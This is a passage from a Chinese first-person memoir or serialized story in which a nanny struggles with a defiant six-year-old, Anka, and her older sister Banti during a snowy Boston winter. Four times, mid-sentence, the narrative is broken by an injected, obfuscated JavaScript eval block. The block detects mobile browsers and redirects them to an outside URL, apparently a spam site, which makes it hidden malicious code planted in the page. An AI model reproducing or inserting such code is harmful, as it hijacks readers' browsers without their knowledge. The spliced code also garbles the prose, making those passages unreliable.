琳达对我的礼物有些措手不及,连忙悄悄把班缇和安卡叫进她的卧室,过了一会儿让两个孩子拿着一个纸袋出来交给我,里面装着一瓶泡泡浴液,想必是刚才匆忙翻找出来的。 琳达说:“这是为你准备的圣诞礼物,抱歉还没来得及包装。” 我原本送孩子礼物并未想要获得任何回赠,但还是礼貌性地做出欣喜的样子:“你想得实在太周到了!” 圣诞节前的最后一次看护于是在皆大欢喜的气氛中结束了,之后是圣诞节和新年,与老公去度假,回来又休整了一周,这期间时而会想到安卡,回忆起她偶尔可爱和对我表现出依赖的时刻,对班缇却相对无感——人就是这样,总是对棘手和具有挑战性的人和事更上心,取得一点点进展便觉得很有成就感,横眉冷对自己的人松松眉头都感到阳光灿烂,这大约便是“斯德哥尔摩综合症”吧。 这学期琳达又找了一位在读大专的女生做儿童看护,征得我的同意把我的时间从每周三、四改到二、四,开学的第一个星期二正赶上美国东部有记录以来最大的一场暴风雪,所有公司、学校停工停课,我的看护工作也随之取消,待再开始距离上次已经时隔一个多月,太久没见到两个孩子,我的心里不免有些忐忑。 在安卡的教室门口等孩子们放学,过了一会儿安卡的老师打开教室门,我朝她笑笑,她也笑笑,冲教室里喊安卡的名字,我期待地等待着安卡的出现,想着这么久没见,她会不会给我一个久别重逢的微笑或者拥抱。 安卡终于夹在几个孩子当中出来了,我笑着对她说“嗨”,做出一个迎接的姿势,她却只是抬眼冷漠地向我这边扫了一下,径自去拿挂在教室门外墙上的书包。 我走过去问:“你好吗?” 她没回应我,从小指上取下一个松动的创可贴说要放进书包里。 我问:“你割到手了?” 她头也不抬,很不耐烦地说:“我告诉过你我的手被纸划破了!” “是吗?”我说,却怎么也想不起来她什么时候告诉过我,也许从教室里出来的时候小声咕哝过,谁知道呢? 然后她突然像变了一个人,抬起头兴奋地问:“我可以去操场上玩吗?” 其实来的路上我已经想过这个问题,操场上现在积了许多好玩的雪,今天天气很好,温度也不是很低,我当然会让孩子们在室外玩一会儿,但为避免她因为太容易得到而不懂得珍惜,我没有立即答应她,而是弯下腰问:“你是不是很想玩雪?” 她无视我的问题,转头大声对她的好朋友珍妮说:“珍妮,珍妮,你今天能去操场玩吗?我要去操场玩!”好像我已经答应了似的。 我不便再多说什么,站到一旁。 这时班缇从楼上下来,她剪短了头发,虽然少了些秀丽,却也多了份洒脱,看见我,她的眼神里流露出一丝欣喜,有些羞涩地上来与我拥抱。 我笑道:“你剪头发了,我喜欢你的新发型。”然后问了她一连串问题,包括最近怎么样、寒假过得好不好等等。 她积极地一一回答,并告诉我:“我爸爸妈妈去加拿大滑雪的时候伤了膝盖。” 我觉得这才是一个正常的孩子久别重逢后对曾经为她付出过爱心的成年人应有的反应,相比之下安卡的冷漠着实令人心寒。 班缇又对我说:“现在我们不去课后班了,星期一、三是另一个说英文的儿童看护,星期二、四是你,星期五是妈妈,这样我们就同时有中文和英文的儿童看护了。” 我问她:“你和另一个儿童看护在一起开心吗?” 她兴奋地点点头。 我又问:“她叫什么名字?” “凯瑟琳。” 老实说,听到这些我心里居然有点吃醋,也莫名地多了份危机感。 下楼时安卡拎着书包问我:“你能帮我拿着吗?太重了!” 我说:“抱歉,书包是你自己的责任,你得自己拿。” 她向一旁珍妮的妈妈抱怨道:“那我就把书包拖在地上。” 我没理会她。 操场上的积雪很厚,几乎所有的长椅都被雪覆盖住了,我站在她们放书包的长椅旁边守候着,出乎意料的是,几个孩子并没有玩雪,而是继续她们平时经常玩的项目,安卡和珍妮在荡秋千。 安卡突然喊我:“彦岚,彦岚!” “怎么啦?”我问。 “你过来推我!” 我向她走过去,听见她正大声对珍妮说:“让我的儿童看护来推我们!”那语气仿佛在说“让我的马来驮我们”。 我心里感到很不舒服,此刻也不好折返,走到她身边对她说:“我只推你五下。” 她说:“你只要推一下就行了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16437782|184973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”又用几乎命令的语气说,“你同时推我和珍妮。” 珍妮在她的不良示范下也失去了往日对我的恭敬,坐在秋千上安然等待着。 我说:“我没法儿同时推两个人,只能一次推一个。” 安卡不再搭理我,我在旁边站了一会儿便离开了。 距离说好的十五分钟还剩一分钟的时候,班缇走到安卡面前同她说了些什么,然后她俩一起朝我这边走来,我提醒道:“还剩一分钟。” 班缇瞄了我一眼,带着安卡从我身旁经过,向一座爬满孩子的大雪堆走去,我不忍心打断她们新发现的乐趣,又让她们多玩了几分钟,然后喊道:“该走了!” 她们仿佛没听见似的,继续在雪堆上跑来跑去,我又喊,班缇犹犹豫豫地向我走过来,我说:“我们该回家了。” 帮班缇背上书包,又拎着安卡的书包去找她,她却根本不理会我,继续和她的朋友在雪堆上玩,我有些生气,把她的书包往雪堆上一放,对班缇说:“我们走吧。” 走了几步听见背后安卡对珍妮喊:“珍妮,我该回家了!”回头看见她正背起书包跟在后头。 安卡终于渐渐跟上来,两个孩子一路玩着路边灌木丛上厚厚的积雪,寻找着冰凌。 今年波士顿连续遭遇多场暴风雪袭击,累计降雪量超过一百英寸,打破了一百四十年以来的历史记录,旧雪来不及清理,新雪又紧跟着降下,以致最后整座城市的积雪多到无处堆放,在路边形成了一人多高厚厚的雪墙。 我们在雪墙里挖出来的一条狭窄的小道中走着,仿佛在雪做的战壕里穿行,我放慢脚步让她们尽情发现雪的新奇,一路帮班缇寻找冰凌,又和安卡开心地互相扔了几个雪球。一户人家门前的锦鲤池边围了一圈一米多高的雪,看上去像一口雪砌的井,两个小姐妹扒在雪上好奇地伸着头往下瞧池子里的锦鲤。 一路不停和班缇安卡说着中文,她俩则以英文回答,我欣慰地发现许多话她们都能自然而然地给出正确反应。她俩问我的中文名是什么意思?姓什么?我一一告之,还给她们取了一个中文姓“何”,与她们的英文姓氏读音相近,并告诉她们:“‘何’是一个美丽的姓”。 过马路时安卡又莫名其妙地犯起了倔劲,不是故意远远落在后面就是执意逗留在马路中间,还扬言要自己一个人走。我严厉地叫她拉住我的手,班缇也一个劲催她,她却嫌恶地坚决缩回手,仿佛那么做会要了她的命,我只好尽量靠近她,一面担心地前后看着路上可能经过的车辆——实在受够了她这种愚蠢的倔强,一味要求不受约束的自由却无法理解事物背后的因果逻辑,反将帮助她的人和对她有益的规则视作敌人,以前我常对叛逆的孩子心怀同情和理解,认为他们其实是聪明的,现在才发现有的孩子叛逆纯粹是因为智商欠奉。 19. 第八章 新年后的挑战(中) 回到家我们照例从车库门进入,班缇走在最前面先上了楼,安卡冷着脸从后面大踏步超到我前头,我回身关上车库门,这时已经上楼的安卡突然冷酷地关掉了地下室的灯把我丢在黑暗里。 地下室黑得伸手不见五指,我跌跌撞撞摸索了半天却找不到灯的开关,那种狼狈和无奈让我联想到影视剧里被不良学生整蛊的倒霉教师,不禁羞愤交加,好不容易摸到楼梯旁找到墙上的开关(为方便住户,楼梯上下各有一个控制地下室灯的开关),才终于重获光明,上楼时发现通往家里的那扇门也被掩上了,看来是要把我拒之门外、给我点颜色看看的意思。 我推门进去,强压怒火脱下鞋子,班缇这时已经把水杯和饭盒放到厨房开始找吃的,安卡则没事人一般神色凛然地坐在客厅沙发上,用命令的语气对我说:“我要吃零食!”然后看也不看我,径自进了厨房。 我的血这时已经冲到了头顶,跟进厨房问她:“你的水杯和饭盒呢?” 她去书包里拿水杯和饭盒,我则从厨柜里取出她们吃零食的专用塑料碗,她走过来用嫌恶的语气命令我:“以后不要再拿这些碗了!”然后直接伸手去饼干筒里抓饼干。 我觉得已经受够了,不能再让她这样对我呼来喝去、为所欲为,走到她面前盖上饼干筒,厉声道:“没有零食,暂停活动处罚!” 她怨恨地看了我一眼,愤怒地冲进卧室,我跟过去,卧室和游戏室里都没人。 我问班缇:“你有没有看见安卡?” 班缇回答:“安卡喜欢把自己藏在卧室的壁橱里。” 我找过去,安卡果然在里面,我关上卧室门,带班缇去读故事书。 班缇进卧室拿故事书时很有经验地重新察看了一下壁橱,告诉我安卡不在里面,我找了找,几个房间都没看见她,班缇拿起一只毛绒企鹅,故意大声说:“安卡,你要是再不出来我就把你的企鹅扔到垃圾筒里了。” 安卡从琳达的卧室里冲了出来,咆哮着从班缇手上抢回企鹅,然后伸手去打班缇的头,完全无视我的阻止。我气愤地带班缇离开房间,重重关上房门,安卡在房间里大叫,威胁要把班缇最喜欢的一个玩偶也扔掉,紧接着拿着那个玩偶冲出来,班缇大声哭喊,我上前从安卡手里抢下玩偶,她大叫道:“你们伤害了我的感情!”我厉声问她:“难道你不知道你先伤害了别人的感情吗?” 把安卡送回卧室,竭力平息怒气用轻柔的声音给班缇读故事,安卡反复打开卧室门又“砰”地关上,班缇叫道:“安卡,你不要这样,门如果弄坏了爸爸妈妈要花钱修的!” 我起身带班缇去卧室察看,安卡却锁上门不让我们进去,回到客厅,我问班缇:“几个星期不见安卡怎么变了这么多?” 班缇柔声向我解释:“可能最近安卡比较活跃,她有时就是这样,很情绪化,难以控制自己。” 一个八岁孩子如此冷静宽容的措辞简直令我汗颜,我忍不住想,班缇上辈子一定是欠了安卡的,所以这辈子注定不断遭受妹妹的“毒手”却还要不停地维护她。 我对自己其实也不是很确定,总疑心作为一个骨子里受儒家长幼尊卑观念影响的中国人,从小又被家长、学校严格管教,血液里种下的暴戾之气尚未完全清除干净,对情绪的控制可能还不如任何一个从小受平等思维熏陶的美国人,这也是为什么在听到“凯瑟琳”的名字后,我的内心开始慌乱,总担心自己被比下去或是露了怯。 安卡大约再也无法忍受不能吃零食和听故事,自己从卧室里走出来,抱着胳膊坐到沙发上宣布:“我就待在这里,哪儿也不去!” 我尽量用和缓的语气说:“如果你想待在这里,我们需要先去你房间里谈谈。” 她说:“就在这里谈。” 我说:“不行,必须去你房里谈。”然后把手伸给她。 她神色凛然:“我不想拉你的手!”起身向卧室走去。 进到卧室里,我温和地向她解释:“过马路拉手的规则是为了你的安全,因为你个子太小,来往司机可能会看不见,我希望你做事能够用脑子去思考,我来这里不是来做你的老板,也不是来强迫你,而是来帮助你的。” 她缩在床角,表情缓和了许多,也开始愿意与我沟通:“之前你把我的书包放在雪堆上,让我觉得感情受到了伤害。” 我听到这话不免为自己的疏忽暗暗自责,在内心反省自己或许在许多言语和行为上不以为意,却可能不经意间伤害了别人的感情而不自知;另一方面我也为这么小的孩子居然气性如此大而感到吃惊,本以为她回家路上玩雪的时候早已开怀,没想到却因为我一个小小的举动一直记恨在心,伺机便要报复,我对她种种的好与之相比全都可以一笔抹煞,却完全意识不到她对我的诸般冷漠、无礼和伤害——要求别人对自己无限包容呵护给自己无限自由,对别人小小的拂逆却耿耿于怀暴跳如雷,这样的心性大约只有亲妈和亲姐才能一直忍耐和满足吧?这样的人该要多大的爱心、忍耐和智慧才能将其导入正途啊,大约只有神力了吧?——反正我是已经放弃了,那些所谓的育儿理论、方法、经验,在人性面前仿佛统统成了笑话。 我对安卡说:“我为把你的书包放在雪堆上向你郑重道歉,但也希望你能答应我,以后从操场回家的时候不要拖拉。” 她却说:“我想以后自己一个人回家,因为每个星期五我和班缇都是自己回家的。” 我回答:“这要先问过你妈妈,如果你妈妈同意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16437783|184973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才可以。” 心里不是很确定,如果真如她所言,我每次过马路要求她们拉着我的手倒显得有些小题大做了,于是问:“凯瑟琳在的时候你们是不是和她一起回来?” 她挑衅地回答:“是的,我喜欢凯瑟琳,因为凯瑟琳功课很好。” 我承认她成功戳到了我的痛处,但仍装作若无其事地问:“凯瑟琳什么功课好?” “数学好。” 我几乎要笑出来——一个美国一年级小学生在一个硕士毕业的中国人面前评价一个美国大专生数学好,她想用另一位儿童看护来打压和操纵我的手法果然还是嫩了点。 笑着对她说:“我的数学可以当凯瑟琳的老师。” 她于是问我2x100等于多少,100x100000又等于多少,在她的思维世界里这些大约就是最难的数学题了吧? 还是耐心告诉她答案,然后评论道:“这些对我来说就像个笑话。” 她又问我企鹅乘以企鹅等于多少,而不管我如何回答她都说是错的,我只得结束了这个无谓的话题。 继续和她谈撞门的事,她辩解:“这不是我的房子,我家没买这个房子,所以我爸爸妈妈不需要付钱。” 我说:“即使是租的也要付钱啊。” “也不是租的,是跟人借的。” “那也要还啊。” “不需要还。” “不管怎样,坏了的东西总要修,你也希望住在一个舒适的地方对不对?” “我不喜欢现在的房子,有很多蜘蛛和蛾子。” “因为这里离草和树很近,我的家到了夏天还有很多蚂蚁呢,我就用可以除蚂蚁的药——很抱歉你不喜欢现在的房子,等你长大了可以买一个自己喜欢的房子。” 事后想想,我这么说也是不对的,不应该撞门不是因为父母需要花钱修,而是因为这本身就是错误的行为,可当时却话赶话被她牵着鼻子走了——发现她常常喜欢说一些似是而非的话来绕别人,客气一点说是小孩子的天真幻想,不客气就是撒谎成性了。 她突然释然地从床上一跃而起,自作主张地宣布:“去吃零食!” 我不好再多说什么,把椅子放到一边,跟着她出去了。 之后我一直和颜悦色,对两个孩子的请求几乎有求必应,她们玩一部旧手机上的游戏也不再出言制止,只是用读故事的方式委婉地将她们的注意力转移开——我承认有点被凯瑟琳的影子吓到了,安卡也令我寒心,觉得朽木不可雕,不想再引起任何不必要的争端多耗心神,不过我已经打定主意,今天一定要在琳达面前好好告一状,不能让这个小小孩童以为可以翻手为云覆手为雨,毫无后果地将成年人玩弄于股掌之中。 20. 第九章 新年后的挑战(下) 读完故事我问她们有什么作业,班缇去琳达的卧室做阅读作业,安卡跑到电脑上玩一个换装游戏,说这就是她的作业。 我问:“你确定吗?” 她回答:“我的作业就是可以做任何我想做的事。” 我不再多说什么,暗暗记下游戏网址。 安卡不停把我叫过去问我屏幕上的英文是什么意思,她打开了一个登录页面,我按照她的要求一行一行念给她听,她不明白用户名需要输入四个字符是什么意思,我刚想解释,她粗暴地打断我说她知道,在键盘上敲了一个数字“4”,后面又跟着乱敲一通,我冷眼旁观不再多言。 一边照看着安卡,一边在心里酝酿如何在琳达面前措辞,思忖今天是寒假后我接手的第一天,一定要及时向琳达反映情况,否则过了今天再发生任何问题责任至少有一半要算在我头上。我判断那个凯瑟琳为人或许很和善,却不可能有我这种强迫症般的责任心和教导孩子的信仰,从孩子不听话和沉迷于电子游戏来看,她可能由着孩子只图轻松省事也未可知,却给我的工作增加了巨大的难度和障碍,之前的种种努力基本上功亏一篑——真没想到一个寒假过去,等待我的是如此艰巨的挑战和难题。 眼看琳达快回来了,安卡离开电脑拿出真正的作业让我帮她,这时候琳达打电话告诉我要晚一点到家,我走到一旁小声说:“我需要在你回来后和你谈谈关于安卡的一些事。” 挂上电话发现安卡正警惕地向我这边张望,估计刚才我说什么她都听见了,之后她表现得像个天使,十分积极乖巧地和我一起做作业,我也和声细语,不过当然不可能被她的临时抱佛脚改变任何决定。 做完作业两个孩子到游戏室里玩耍,班缇拿出纸和笔设计一幅演出的海报,我觉得她在设计方面确实有些天分,连夸她画得好,又问她将来想做什么。 她兴奋地回答:“我想当演员,在所有表演里都出演,我还要做一个有超能力的人,把3000年变到2000年来,让所有的小孩都提前变成大人。” 我不禁莞尔,这才是富有童趣和创意的小孩子的对话吧,比起与安卡之间的勾心斗角充满正能量多了。 班缇又说起她爸爸妈妈的年龄,我感叹:“那要比我大整整十岁呢!”心道琳达和亨特原来是老来得子,却偏偏遇到安卡这样的混世魔王,也真是难为他们了。 安卡听见我的话先是惊讶:“你真年轻!”又紧接着改口,“不对,你真老。” 我不知道她是否真正理解我的年龄,也不知道自己的娃娃脸之前在她眼里是多大,但肯定比实际年龄要小才一再遭她存心欺负吧?可我又不能直接对她说:“我其实是很老的,只是看上去比较年轻,也不想在你们面前摆老资格,你不要不识相。” 琳达比平时晚了近半小时才到家,和她一起回来的还有亨特,他俩经常一起回家,看上去挺恩爱。我没有被亨特的冷漠吓倒,一直在他面前表现得不卑不亢,上次圣诞节前还着意与他交流了几句,在琳达面前也只说他的好话,他似乎开始信任我,不再像以往那样板着脸,今天看见我还主动和我打招呼,又聊了几句天气。 我和琳达走到一旁,对她说:“安卡今天的举止有很大问题,几乎我说什么她都不听。” 然后我大致讲了过马路的问题和给暂停活动处罚后她的行为,讲到安卡藏进壁橱时琳达居然忍不住笑了,果然是慈母心——大约每一个母亲都能在孩子的恶行中发现可爱之处吧,其实在今天之前我对所有孩子也是同样的心态,但从今天开始不再是了。 亨特在旁边听见我的话,向孩子们的游戏室走去,我有些担心地朝他那边望了望,怕他对孩子太严厉,不过他看上去面容平静,仿佛还有一丝笑意。 客厅里只剩下我和琳达,我又说到安卡打班缇的头,摔门,在电脑上玩游戏,告诉我那是她的作业,她想做什么都可以。 琳达说:“是这样的,只要是有关数学的游戏都可以。” 我说:“我不觉得那个游戏和数学有关,那是一个更换发型、衣着和化妆的游戏,登录时需要父母的邮箱地址,网址是xxx,两个孩子还玩了一部旧手机上的游戏,我不确定她们玩游戏是不是得到了你的允许。” 琳达解释:“手机是我给她们的,但没有允许她们玩游戏。” 我最后想了想,补充道:“安卡还要求以后一个人回家,她说因为每周五她和班缇都是自己回家的。” 琳达连忙说:“我可以向你保证,这从来没有发生过,她们当然必须和你待在一起,安卡有没有向你道歉?” 我抿着嘴摇了摇头。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16437784|184973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 琳达充满歉意地说:“很抱歉今天让你经历了这些,这不是你的错,安卡最近太活跃了。” 我当然只能回答:“没关系。” 这时安卡灰头土脸地从游戏室里向我走来,后面跟着她的爸爸,亨特对她说:“为你今天的行为向彦岚道歉,保证你下次不会再犯,如果你再这样我就把你送回课后班去,让班缇和彦岚待在一起。” 安卡抗议道:“不!”然后在她父亲的“淫威”之下乖乖地向我赔礼道歉。 我表情复杂地看着她,撇嘴冲她笑笑,没有说“没关系”,因为我知道她即便嘴上道歉心里也不会服的,说不定因为我的告状更加记恨我,下一次变本加厉,所以她现在的道歉对我而言一点意义也没有。 我问:“你以后还想自己一个人回家吗?” 她回答:“不想。” 琳达一面不停向我道歉一面送我出门,我和安卡说了声“再见”,她在妈妈面前似乎想做出一个拥抱我的动作,却又犹豫了,我朝她笑笑,没有鼓励她,因为我知道她心里并不想拥抱我,而我也不想有任何勉强。 走到门口看见班缇也从游戏室出来了,一脸悲伤地望着我,仿佛要大祸临头的样子——我不太明白她的表情,因为今天的一切基本上与她无关,她难道是在为她那咎由自取的妹妹担心吗?不过现在我已经不再关心这一切了。 回家后心里不舒服了好几天,为这个六岁孩子为了吃喝玩乐和偷懒这些浅薄的利益而表现出的人性之恶感到心惊,再次灰心失望想要放弃这份工作,因为已经无法从中汲取任何精神养分,一再承受的只有扑面而来满满的负面能量和用一腔爱心换来的来自另一个生命个体无端的冷漠、怨恨、轻贱、利用和玩弄。 也一度对自己产生强烈的怀疑和动摇,认为是我做得不够好,我是一个不称职和无能的儿童教育者,甚至算不上一个人格健全的人,没有方法、情绪失控、态度恶劣、欠缺爱心,才引来一个小孩子的怨恨和报复;但理智的分析又告诉我,应该不是这样的,我相信不会有人比我对别人的孩子花费更多的心思,或许不得不承认有些人天生就是一颗冷硬的心难以焐热,而这一切都是对我心性的磨炼。 现在的我已经完全失了方寸和信心,也不知道以后会如何,唯有多一些糊涂,少一些执着吧。 21. 第十章 看孩子的博士 星期一下了整整一天大雪,强度直追上次的暴风雪,我一面望着窗外纷飞的大雪一面为第二天担心,好在晚上琳达通知我星期二孩子们停课,这意味着我不用去了,多了两天的缓冲期,星期四情绪平复了许多,出门前暗暗祈祷一切平安顺利,面对任何问题时能有更多的耐心、勇气和智慧。 等待安卡放学的时候和珍妮的妈妈聊了几句,意外地发现我们居然是同一年来美国念研究生的,她惊讶地说:“你看上去好年轻啊!” 我道:“所以才被小孩子欺负,她们都以为我很年轻。”说完觉得欠妥,又补充道,“安卡有些难管,所以我要对她严厉一点,不能让她认为想玩多久就可以玩多久。” 这时安卡从教室里出来了,似乎有些不好意思地瞄了我一眼,我不再像往常那样微笑着迎上去,只是望了望她,坐在门口的长椅上没动。 她主动跑过来问我可不可以去操场玩,我说:“今天不去操场。” 和安卡一起出来的珍妮央求我能不能让安卡去图书馆,我问珍妮:“图书馆在楼外面还是楼里面?” 她回答:“在楼里面。” 我又问:“你们到图书馆会做什么?” “会读书。” 我点点头。 和珍妮交流起来比和安卡交流容易多了,珍妮会认真听我说话并回答我的问题,心平气和地与我商量,要求也合情合理——我不让安卡去操场玩是因为今天室外气温太低了,如果有在图书馆读书这样有益身心的替代方案,何乐而不为呢? 听说要去图书馆,珍妮的妈妈流露出焦急的神色,却并未出言阻止珍妮,我安慰道:“我只让她们去十五分钟。” 心中有些不解,珍妮的妈妈如果觉得时间来不及,为什么不行使母亲的权威对女儿说不呢?就像每次去操场她几乎总是看我们的决定,时间上也总是以我们为准,我们什么时候离开她和珍妮便什么时候离开——我猜测可能是因为她作为第一代移民父母,对美国社会许多约定俗成的规则心中没底,在孩子的教养上便不是很有自信。 等班缇来和我们会合后,我跟在几个孩子后面穿过漫长的走廊,一路经过无数教室和活动室,终于抵达位于教学楼另一端的图书馆。 图书馆占据了三层楼的高度,上下打通,里面很宽敞,安卡同班一个叫希娜的小姑娘也在,一起的还有一位化着精致妆容的年轻女子,坐在一张圆桌前刷手机,每隔一会儿就抬头冲孩子们微笑一下,我以为那是希娜的妈妈,暗忖她怎么如此耐心和善? 几个孩子去借书,我找了另一张圆桌坐下,从包里拿出一本书来看,不一会儿安卡跑过来让我给她妈妈打电话,我小声问她有什么事,她说:“我要自己跟妈妈说。” 我向她解释:“你妈妈上班的时候不会接电话,你可以把问题告诉我,我给你妈妈发短信。” 可是她坚持:“我妈妈上班的时候会接很多电话,我要自己问她我可不可以借一本书。” 我犹豫了一下,觉得没必要和她争执,虽然我知道琳达当然不会反对她借书,却不想介入来当这个仲裁者,于是拿出手机对她说:“我试试,但不确定你妈妈会不会接我的电话。” 拨电话的时候安卡已经跑到图书管理员那里去了,琳达的手机果然是语音留言,我向安卡摇摇头挂上电话,又怕琳达看见我的未接电话担心这边有急事,于是补了一条短信过去向她解释情况,琳达很快回复短信同意安卡借书。 这时希娜跑过来很认真地告诉我:“安卡借了本书,图书管理员说她可以永远保留。” 我有些惊讶地问:“真的吗?” 听见安卡也在不远处对班缇说她可以永远保留刚刚借的那本书,看来应该是正好借到了图书馆需要定期清理的冗余书册。 安卡到桌前问我在看什么书,陪同希娜的那位女士也笑着坐过来,自我介绍她叫文妮娅,是希娜的儿童看护,现在正在读博士。我听闻不禁暗暗感叹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16437785|184973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 波士顿不愧是美国平均学历最高的城市、许多中国人戏称的“博士屯”,随便一个儿童看护都是博士。 聊了几句,文妮娅继续低头刷手机,我则开始自我反思平时对班缇和安卡是否太过严厉,看看美国儿童看护对孩子多么和气,几乎时刻保持微笑,这是否是她们的“职业道德”呢?那个凯瑟琳是否也是这样时刻对孩子们笑脸相迎?不过大多数时候她应该也是在低头玩手机吧?这就是美国人的方式吗,态度和蔼却不上心,两相比较我这样吃力不讨好又是何苦呢? 回家过马路时安卡居然乖乖地把手伸给我,到了马路另一边,她问我:“我们回家的时候为什么一定要和你一起?” “因为这是美国的法律,小孩子在十二岁之前必须有大人陪同,否则你爸爸妈妈就会被关进监狱。”我以她能听懂的方式故意把情况说得很严重,希望她从此别再在这件事上和我作对了。 她和班缇都沉默不语,似乎在消化我刚才的话。 到了家安卡喊道:“彦岚,我有东西给你!”然后拿出两张纸,一张上面画了一些彩色条纹,应该是代表彩虹的意思,另一张歪歪扭扭写着几行英文字: “亲爱的彦岚:我为我的行为道歉,我对你很粗鲁,我保证再也不这样对你。 安卡” 居然是一封道歉信,虽然措辞简单,关键的意思都表达到了,我当然知道这是出于家长的授意,但是这意料之外的道歉信还是极大地抚慰了我受伤的心,看来西方家庭还是挺讲究的。 脸上做出欣喜的表情,礼貌性地抱住她说:“谢谢,你是个好女孩。” 之后安卡对我一直有种讨好般的顺从,我的心却很难再热过来,因为明白她的这种讨好多是慑于家长的交代或“淫威”,对我并无太多真诚。 整个下午我对两个孩子都极尽温和,她们想做什么便做什么,在电脑上玩游戏我也不太管,告诉自己:差不多就行,看着不出事就行,其他的与我无关。 22. 第十一章 娃娃的傲慢与偏见 很快就要过年了,我听说班缇和安卡的学校有中国新年的庆祝活动,便提前精心准备了红纸、福字和两个精美的红包,每个里面塞了一张崭新的五元人民币。 放学后班缇央求我让她们去操场玩五分钟,我看外面雪很小,操场也不泥泞,几个星期下来操场和网球场上已经堆起了几座小山似的雪堆,俨然孩子们的乐园,于是好心让班缇和安卡多玩了许久。 没想到喊她们回家时两人还是磨磨蹭蹭,班缇一脸的不高兴,一路上和安卡一起拖拖拉拉,我只能温和地劝说,到家时天都快黑了——我暗自感叹人心的不足,五分钟延长到二十多分钟还是不满意,该回家的时候还是不高兴,底线到底要退到哪里才算够呢? 安卡又对我恢复了不冷不热的态度,她的一个同学送给她一副毛茸茸的白色耳罩,她爱不释手,给耳罩取名“毛毛球太太”,我听见觉得十分可爱,忍不住哈哈大笑,并告诉她“毛毛球太太”用中文怎么说,她却对耳罩说:“毛毛球太太说彦岚对她很刻薄。” 我问她为什么,她回答:“毛毛球太太说彦岚嘲笑她。” 我耐心向她解释:“我对毛毛球太太很和善,我笑是因为觉得‘毛毛球太太’这个名字很可爱。” 没想到她却不阴不阳地对着耳罩说:“毛毛球太太说彦岚在撒谎。” 我原本还未太在意,听到这句话突然感到一阵彻骨的心寒:到底是什么让她对我持有这样的偏见,难道在她心里我就是一个既刻薄又爱撒谎的人吗?所有的付出和爱心仿佛被投进了无底深渊,轻飘飘的连个水花都看不见。 我敛了笑容,正色道:“我从来不撒谎。” 这句话虽然难免言过其实,我却觉得还算担得起,因为自己一直是一个真诚面对自己的内心和别人的人。 她没再说话。 班缇这时告诉我做完作业了,我却发现她还有一项数学作业没做,她于是堆起她那过于成人化的微笑和颜悦色地向我解释:“因为你是中国人,所以我觉得这些数学应用题对你来说可能太难了,我可以等妈妈回来和她一起做。” 我感觉受到了羞辱,怎么说我也是一个在中国接受了十几年严格的教育、以GRE数学接近满分的成绩考进美国研究生院、又前后在美国生活了十来年的成年人,为什么会让一个美国小学三年级的孩子认为我蠢到连她的数学作业都不会做呢? 可是我无法向她解释这一切,只能坚持道:“我可以帮你一起做。” 她倒也随意,摊开作业,一道题是五个孩子分一块糖果,每个孩子分多少;一道题是一张披萨切四块,每块再切两半,每份是多少,简单到让人都不好意思称之为数学题。 给她讲解完题目,发现后面还有一道附加题,她却不肯再做,声称“老师说那是附加题,我不需要做,今天的作业我已经做完了”,便离开了桌子。 我没说什么,去照看安卡,安卡正在游戏室里玩娃娃,我学着文妮娅的样子脸上挤出笑容陪在一旁。 她突然咕哝了一句:“你根本就不是一个好玩伴。” 我问她:“你说什么?” “没什么。”她眼皮也没抬地回答。 我从地上捡起一个娃娃,她一把抢过去:“这是我的!” 为了和她多一些互动,我问:“你手里的娃娃叫什么名字?” 她说:“这是女王。” 我又问另一个很相似的娃娃是不是这个娃娃的姐妹,她大声道:“她们不是姐妹,她们是双胞胎!” 我问:“这个双胞胎叫什么名字?” 她很不耐烦地冲我吼道:“她不叫双胞胎(Twin),她是女王(Queen)!”似乎嫌弃我连Twin和Queen都分不清。 其实不是我分不清,而是她根本没听清我的问题,可一个人若是对你有了成见又固执己见,你说什么都没用。 那一刻我在心里狂喊:“讨厌鬼!讨厌鬼!”仿佛惟有如此才能释放掉一部分内心的压抑和郁闷,而脸上这时连笑容也挤不出来了。 我闭上嘴不再说话,冷眼旁观她一个人玩。 